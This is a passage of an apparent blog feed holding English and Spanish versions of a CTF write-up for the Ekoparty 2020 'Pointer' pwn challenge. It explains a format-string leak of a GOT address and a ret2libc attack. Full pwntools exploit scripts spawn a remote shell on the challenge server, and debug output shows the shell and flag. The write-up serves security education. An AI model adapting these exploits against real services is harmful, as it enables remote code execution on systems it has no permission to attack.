<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"52.202.106.196"</span><span class="p">,</span> <span class="mi">61338</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span>
</code></pre></div></div>
<p>The payload is composed by two parts. First, the format string to print the eighth argument as a string pointer and some padding. As the program is a 64-bit executable, <code class="language-plaintext highlighter-rouge">printf</code> will get the first six arguments from registers, the seventh argument will be the format string including the padding and the eight argument will be the address that is the second part of the payload. This address is the entry for <code class="language-plaintext highlighter-rouge">gets</code> function in the <em>Global offset table</em> (GOT). As a result, <code class="language-plaintext highlighter-rouge">printf</code> will print to the terminal the content of <code class="language-plaintext highlighter-rouge">gets</code> GOT entry, leaking it’s address in the program space.</p>
<p>Since memory addresses aren’t always composed by printable characters, it is useful to activate the debug mode of <code class="language-plaintext highlighter-rouge">pwntools</code> library. This shows a hexdump of all sent and received data.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Opening connection to 52.202.106.196 on port 61338: Done
[DEBUG] Received 0xc bytes:
'Welcome Bro\n'
[DEBUG] Sent 0x11 bytes:
00000000 25 37 24 73 20 20 20 20 40 10 60 00 00 00 00 00 │%7$s│ │@·`·│····│
00000010 0a │·│
00000011
[+] Receiving all data: Done (13B)
[DEBUG] Received 0xd bytes:
00000000 80 bd a7 f7 ff 7f 20 20 20 20 40 10 60 │····│·· │ @·│`│
0000000d
[*] Closed connection to 52.202.106.196 port 61338
</code></pre></div></div>
<p>When the script is executed, <code class="language-plaintext highlighter-rouge">gets</code> address is returned in the first 6 bytes received in <em>little endian</em> format (<code class="language-plaintext highlighter-rouge">0x7ffff7a7db80</code>). Every time the script is executed, we get the same address. This will make things easier because the address space is not being randomized. If this were not the case, we would have to find a way to leak <code class="language-plaintext highlighter-rouge">gets</code> address and continue executing the program. Sometimes this can be made by using <code class="language-plaintext highlighter-rouge">printf</code> and <code class="language-plaintext highlighter-rouge">%n</code> format specifier to write <code class="language-plaintext highlighter-rouge">main</code> address over other GOT entry such as <code class="language-plaintext highlighter-rouge">exit</code> causing the program to execute in a loop.</p>
<p>Luckily, we can use the leaked address directly to find out the addresses of other <code class="language-plaintext highlighter-rouge">libc</code> functions. To do this, we can use <a href="https://libc.blukat.me/">this</a> site or clone <a href="https://github.com/niklasb/libc-database">this</a> repo. We will try to execute <code class="language-plaintext highlighter-rouge">system("/bin/sh")</code> to get a shell. In the site, we enter the function name and the last 12 bits of the leaked address. Only the last 12 bits are checked, because randomization usually works on page size level.</p>
<p><img src="/assets/images/posts/Pointer/libcDB.jpg" alt="libc database" /></p>
<p>The addresses of other functions depend on the version of <code class="language-plaintext highlighter-rouge">libc</code>. For this address of <code class="language-plaintext highlighter-rouge">gets</code> we get two possible <code class="language-plaintext highlighter-rouge">libc</code> versions. The first one worked well and has <code class="language-plaintext highlighter-rouge">system</code> on offset <code class="language-plaintext highlighter-rouge">0x45390</code> and <code class="language-plaintext highlighter-rouge">gets</code> on offset <code class="language-plaintext highlighter-rouge">0x6ed80</code> from <code class="language-plaintext highlighter-rouge">libc</code> start.</p>
<p><img src="/assets/images/posts/Pointer/libcDB2.jpg" alt="libc database2" /></p>
<p>With this information we can now exploit the binary using the following script:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="c1"># context.update(arch='ia64', os='linux')
</span><span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="c1"># Calculamos las direcciones
</span><span class="n">gets_libc</span> <span class="o">=</span> <span class="mh">0x7ffff7a7bd80</span>
<span class="n">offset_gets</span> <span class="o">=</span> <span class="mh">0x06ed80</span>
<span class="n">offset_system</span> <span class="o">=</span> <span class="mh">0x045390</span>
<span class="n">system_libc</span> <span class="o">=</span> <span class="n">offset_system</span> <span class="o">+</span> <span class="p">(</span><span class="n">gets_libc</span><span class="o">-</span><span class="n">offset_gets</span><span class="p">)</span>
<span class="n">payload2</span> <span class="o">=</span> <span class="s">"/bin/sh</span><span class="se">\00</span><span class="s">"</span> <span class="c1"># welcome bro pointer
</span><span class="n">payload2</span> <span class="o">+=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x40</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload2</span><span class="p">))</span> <span class="c1"># padding
</span><span class="n">payload2</span> <span class="o">+=</span> <span class="s">"B"</span> <span class="o">*</span> <span class="mh">0x8</span> <span class="c1"># pisa fflush
</span><span class="n">payload2</span> <span class="o">+=</span> <span class="s">"C"</span> <span class="o">*</span> <span class="mh">0x8</span> <span class="c1"># pisa exit
</span><span class="n">payload2</span> <span class="o">+=</span> <span class="s">"D"</span> <span class="o">*</span> <span class="mh">0x8</span> <span class="c1"># pisa gets
</span><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">system_libc</span><span class="p">)</span><span class="c1"># pisa printf
</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"52.202.106.196"</span><span class="p">,</span> <span class="mi">61338</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload2</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>It calculates the actual memory address of <code class="language-plaintext highlighter-rouge">system</code> function by knowing <code class="language-plaintext highlighter-rouge">gets</code> address and the offsets of both function from the start of <code class="language-plaintext highlighter-rouge">libc</code> (<code class="language-plaintext highlighter-rouge">gets_libc - offset_gets</code> equals <code class="language-plaintext highlighter-rouge">libc</code> start address in the program’s memory space). Then, it takes advantage of the program call to <code class="language-plaintext highlighter-rouge">printf</code> right after calling <code class="language-plaintext highlighter-rouge">gets</code> as shown below:</p>
<p><img src="/assets/images/posts/Pointer/disass3.jpg" alt="disassembly 3" /></p>
<p>Before calling <code class="language-plaintext highlighter-rouge">printf</code>, <code class="language-plaintext highlighter-rouge">rdi</code> points to the buffer (first argument). In consequence, to exploit the binary, it only takes to write the path of the binary we want to execute (<code class="language-plaintext highlighter-rouge">/bin/sh</code>) in the buffer and overwrite the pointer to <code class="language-plaintext highlighter-rouge">printf</code> with the address of <code class="language-plaintext highlighter-rouge">system</code> we have just calculated. By executing this script, we can get a shell and print the flag.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Opening connection to 52.202.106.196 on port 61338: Done
[DEBUG] Received 0xc bytes:
'Welcome Bro\n'
[DEBUG] Sent 0x61 bytes:
00000000 2f 62 69 6e 2f 73 68 00 41 41 41 41 41 41 41 41 │/bin│/sh·│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000040 42 42 42 42 42 42 42 42 43 43 43 43 43 43 43 43 │BBBB│BBBB│CCCC│CCCC│
00000050 44 44 44 44 44 44 44 44 90 23 a5 f7 ff 7f 00 00 │DDDD│DDDD│·#··│····│
00000060 0a │·│
00000061
[*] Switching to interactive mode
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
'cat flag.txt\n'
[DEBUG] Received 0x1e bytes:
'EKO{AreYouReadyFor#Pwndemic?}\n'
EKO{AreYouReadyFor#Pwndemic?}
</code></pre></div></div>Octavio GianatiempoThis vulnerable binary was part of the misc challenges at the Ekoparty 2020 Pre-CTF. You can download it here. To solve it you have to combine a format string attack with ret2libc.Pointer (Pwn) – Ekoparty 2020 Pre-CTF [ES]2020-10-26T00:00:00-03:002020-10-26T00:00:00-03:00https://ogianatiempo.github.io/writeup/Pointer_es<p>Este binario vulnerable fue parte de los desafíos de la categoría misc en el Pre-CTF de la Ekoparty 2020. Lo pueden descargar <a href="/assets/binaries/Pointer/Pointer">acá</a>. Para resolverlo hay que combinar un ataque de format strings con ret2libc.</p>
<p>Primero veamos que tipo de archivo es con <code class="language-plaintext highlighter-rouge">file</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Pointer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32
</code></pre></div></div>
<p>Es un ejecutable de Linux de 64 bits dinámicamente linkeado.
Si lo ejecutamos nos saluda y espera un input que luego imprime.</p>
<p><img src="/assets/images/posts/Pointer/terminal.jpg" alt="output" /></p>
<p>Si lo desensamblamos podemos ver un par de cosas.
En primer lugar reserva espacio en el stack para un buffer de 0x40 bytes y para cuatro variables de 8 bytes cada una.</p>
<p><img src="/assets/images/posts/Pointer/disass.jpg" alt="desensamblado" /></p>
<p>Un poco más abajo podemos ver que usa esas variables para guardar punteros a las funciones en la <em>Procedure linkage table</em> (PLT) y que usa esos punteros para llamarlas. Por ejemplo, acá se ve como llama a <code class="language-plaintext highlighter-rouge">printf</code> para imprimir “Welcome bro” copiando el puntero a <code class="language-plaintext highlighter-rouge">rax</code> y luego ejecutando <code class="language-plaintext highlighter-rouge">call rax</code>.</p>
<p><img src="/assets/images/posts/Pointer/disass2.jpg" alt="desensamblado2" /></p>
<p>Es así como nos pide el input pasando la dirección del buffer a <code class="language-plaintext highlighter-rouge">gets</code> y vemos que después usa el mismo puntero como único argumento de <code class="language-plaintext highlighter-rouge">printf</code>. Por lo tanto podemos hacer un ataque de format string. Pueden ver más sobre esto <a href="https://fundacion-sadosky.github.io/guia-escritura-exploits/format-string/5-format-string.html">acá</a>, <a href="http://jbremer.org/format-string-vulnerabilities/">acá</a> o <a href="https://www.youtube.com/watch?v=t1LH9D5cuK4">acá</a>.</p>
<p><img src="/assets/images/posts/Pointer/disass3.jpg" alt="desensamblado3" /></p>
<p>Hagamos un script para poder realizar el ataque e imprmir la dirección de <code class="language-plaintext highlighter-rouge">gets</code>. Esta dirección nos va a servir para calcular las posiciones de otras funciones de <code class="language-plaintext highlighter-rouge">libc</code> que vamos a usar para tomar control remoto. Para esto usamos una libraria de Python que se llama <code class="language-plaintext highlighter-rouge">pwntools</code>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">gets_got</span> <span class="o">=</span> <span class="mh">0x601040</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">"%7$s "</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">gets_got</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"52.202.106.196"</span><span class="p">,</span> <span class="mi">61338</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span>
</code></pre></div></div>
<p>Vemos que el payload esta compuesto por dos partes. Primero el format string que va imprimir el 8vo argumento como si fuera un puntero a string seguido de un poco de espacio. Segundo una dirección. Como es un ejecutable de 64 bits, <code class="language-plaintext highlighter-rouge">printf</code> toma los primeros seis argumentos por registros pero luego empieza a tomar los sucesivos argumentos del stack. Como nuestro buffer está en el stack podemos lograr, jugando con el format string y su largo, que el mismo buffer sea tomado como un argumento (el séptimo argumento apunta al principio del buffer y el octavo a la dirección). En este caso particular estamos haciendo que tome como argumento la entrada correspondiente a gets en la <em>Global offset table</em> (GOT). Ese octavo argumento es <code class="language-plaintext highlighter-rouge">0x601040</code> lo que podemos verificar cambiando <code class="language-plaintext highlighter-rouge">$s</code> por <code class="language-plaintext highlighter-rouge">$p</code> para que imprima el argumento como un puntero. Como resultado de todo esto <code class="language-plaintext highlighter-rouge">printf</code> va a escribir en la terminal el contenido de la entrada de <code class="language-plaintext highlighter-rouge">gets</code> en la GOT, es decir su dirección en la memoria.</p>
<p>Como las direcciones de memoria no siempre resultan en caracteres imprimibles, activamos el modo debug de <code class="language-plaintext highlighter-rouge">pwntools</code> para que nos muestre un hexdump de todo lo que envía y recibe. Este es el resultado de ejecutar el script.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Opening connection to 52.202.106.196 on port 61338: Done
[DEBUG] Received 0xc bytes:
'Welcome Bro\n'
[DEBUG] Sent 0x11 bytes:
00000000 25 37 24 73 20 20 20 20 40 10 60 00 00 00 00 00 │%7$s│ │@·`·│····│
00000010 0a │·│
00000011
[+] Receiving all data: Done (13B)
[DEBUG] Received 0xd bytes:
00000000 80 bd a7 f7 ff 7f 20 20 20 20 40 10 60 │····│·· │ @·│`│
0000000d
[*] Closed connection to 52.202.106.196 port 61338
</code></pre></div></div>
<p>Podemos ver que la dirección de <code class="language-plaintext highlighter-rouge">gets</code> está en los primeros 6 bytes recibidos en formato <em>little endian</em> y es <code class="language-plaintext highlighter-rouge">0x7ffff7a7db80</code>.</p>
<p>Si ejecutamos el script de nuevo vemos que la dirección no cambia. Esto va a facilitar las cosas porque el espacio de memoria no se está aleatorizando o el programa no se está cargando en memoria de cero cada vez (por ejemplo el servidor podría estar forkeando el proceso nuevo recibiendo una copia del espacio de memoria del proceso padre). Si no fuera así tendríamos que ingeniárnoslas para leakear esa dirección y además que el programa siga ejecutando. Una opción posible es usar el mismo format string para que, además de leakear la dirección, pise la dirección de otra función en la GOT, por ejemplo <code class="language-plaintext highlighter-rouge">exit</code> (ver formato %n). Si pisáramos esta dirección con la dirección del <code class="language-plaintext highlighter-rouge">main</code> podemos hacer que el programa se ejecute una y otra vez permitiendo en una ejecución de <code class="language-plaintext highlighter-rouge">main</code> leakear y en otra explotar el binario sin que el mismo se cierre y se vuelva a aleatorizar el espacio de memoria cambiando las direcciones que ahora conocemos.</p>
<p>Pero bueno, por suerte no hace falta hacer todo esto (aunque es un buen ejercicio) así que aprovechemos esa dirección de <code class="language-plaintext highlighter-rouge">gets</code> que conocemos para averiguar la dirección de la función que nos gustaría ejecutar. Vamos a ejecutar <code class="language-plaintext highlighter-rouge">system("/bin/sh")</code> para poder tener una terminal.</p>
<p>Para eso podemos usar <a href="https://libc.blukat.me/">esta</a> web o clonarnos <a href="https://github.com/niklasb/libc-database">este</a> repo.</p>
<p>En la web ingresamos el nombre de la función cuya dirección conocemos y los ultimos 12 bits de su dirección. Esto sirve para tratar de identificar que versión de <code class="language-plaintext highlighter-rouge">libc</code> está corriendo en el servidor y así poder calcular la dirección de la función <code class="language-plaintext highlighter-rouge">system</code>. Ingresamos sólo los úlitmos 12 porque cuando se aleatoriza el espacio de memoria en general se hace a nivel de página y entonces estos bits se mantienen constantes.</p>
<p><img src="/assets/images/posts/Pointer/libcDB.jpg" alt="base de datos libc" /></p>
<p>Obtenemos dos versiones de <code class="language-plaintext highlighter-rouge">libc</code> posibles. En este caso funcionó la primera. Vemos que system se encuetnra en la posición <code class="language-plaintext highlighter-rouge">0x45390</code> respecto del inicio de <code class="language-plaintext highlighter-rouge">libc</code> y <code class="language-plaintext highlighter-rouge">gets</code> en la posición <code class="language-plaintext highlighter-rouge">0x6ed80</code>.</p>
<p><img src="/assets/images/posts/Pointer/libcDB2.jpg" alt="base de datos libc 2" /></p>
<p>Con estos datos ya podemos explotar el binario usando el siguiente script.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="c1"># context.update(arch='ia64', os='linux')
</span><span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="c1"># Calculamos las direcciones
</span><span class="n">gets_libc</span> <span class="o">=</span> <span class="mh">0x7ffff7a7bd80</span>
<span class="n">offset_gets</span> <span class="o">=</span> <span class="mh">0x06ed80</span>
<span class="n">offset_system</span> <span class="o">=</span> <span class="mh">0x045390</span>
<span class="n">system_libc</span> <span class="o">=</span> <span class="n">offset_system</span> <span class="o">+</span> <span class="p">(</span><span class="n">gets_libc</span><span class="o">-</span><span class="n">offset_gets</span><span class="p">)</span>
<span class="n">payload2</span> <span class="o">=</span> <span class="s">"/bin/sh</span><span class="se">\00</span><span class="s">"</span> <span class="c1"># welcome bro pointer
</span><span class="n">payload2</span> <span class="o">+=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x40</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload2</span><span class="p">))</span> <span class="c1"># padding
</span><span class="n">payload2</span> <span class="o">+=</span> <span class="s">"B"</span> <span class="o">*</span> <span class="mh">0x8</span> <span class="c1"># pisa fflush
</span><span class="n">payload2</span> <span class="o">+=</span> <span class="s">"C"</span> <span class="o">*</span> <span class="mh">0x8</span> <span class="c1"># pisa exit
</span><span class="n">payload2</span> <span class="o">+=</span> <span class="s">"D"</span> <span class="o">*</span> <span class="mh">0x8</span> <span class="c1"># pisa gets
</span><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">system_libc</span><span class="p">)</span><span class="c1"># pisa printf
</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"52.202.106.196"</span><span class="p">,</span> <span class="mi">61338</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload2</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>Lo que hacemos es calcular la posición en memoria de la función <code class="language-plaintext highlighter-rouge">system</code> conociendo la posición en memoria de <code class="language-plaintext highlighter-rouge">gets</code> y los offsets de ambas respecto del inicio de <code class="language-plaintext highlighter-rouge">libc</code> (<code class="language-plaintext highlighter-rouge">gets_libc - offset_gets</code> equivale al inicio de <code class="language-plaintext highlighter-rouge">libc</code> en memoria). Luego aprovechamos que el programa ya hace un llamado a <code class="language-plaintext highlighter-rouge">printf</code> luego de <code class="language-plaintext highlighter-rouge">gets</code> de la siguiente forma.</p>
<p><img src="/assets/images/posts/Pointer/disass3.jpg" alt="desensamblado 3" /></p>
<p>Podemos ver que al llamar a <code class="language-plaintext highlighter-rouge">printf</code> el valor de <code class="language-plaintext highlighter-rouge">rdi</code>, que contiene el primer argumento, apunta a nuestro buffer. Basta entonces con escribir en nuestro buffer el binario que queremos ejecutar mediante la llamada a <code class="language-plaintext highlighter-rouge">system</code> y luego pisar el puntero a <code class="language-plaintext highlighter-rouge">printf</code> con el puntero a <code class="language-plaintext highlighter-rouge">system</code> en <code class="language-plaintext highlighter-rouge">libc</code> que acabamos de calcular. Al ejecutar este script obtendremos una shell remota y podemos imprimir el valor de la flag.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Opening connection to 52.202.106.196 on port 61338: Done
[DEBUG] Received 0xc bytes:
'Welcome Bro\n'
[DEBUG] Sent 0x61 bytes:
00000000 2f 62 69 6e 2f 73 68 00 41 41 41 41 41 41 41 41 │/bin│/sh·│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000040 42 42 42 42 42 42 42 42 43 43 43 43 43 43 43 43 │BBBB│BBBB│CCCC│CCCC│
00000050 44 44 44 44 44 44 44 44 90 23 a5 f7 ff 7f 00 00 │DDDD│DDDD│·#··│····│
00000060 0a │·│
00000061
[*] Switching to interactive mode
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
'cat flag.txt\n'
[DEBUG] Received 0x1e bytes:
'EKO{AreYouReadyFor#Pwndemic?}\n'
EKO{AreYouReadyFor#Pwndemic?}
</code></pre></div></div>Octavio GianatiempoEste binario vulnerable fue parte de los desafíos de la categoría misc en el Pre-CTF de la Ekoparty 2020. Lo pueden descargar acá. Para resolverlo hay que combinar un ataque de format strings con ret2libc.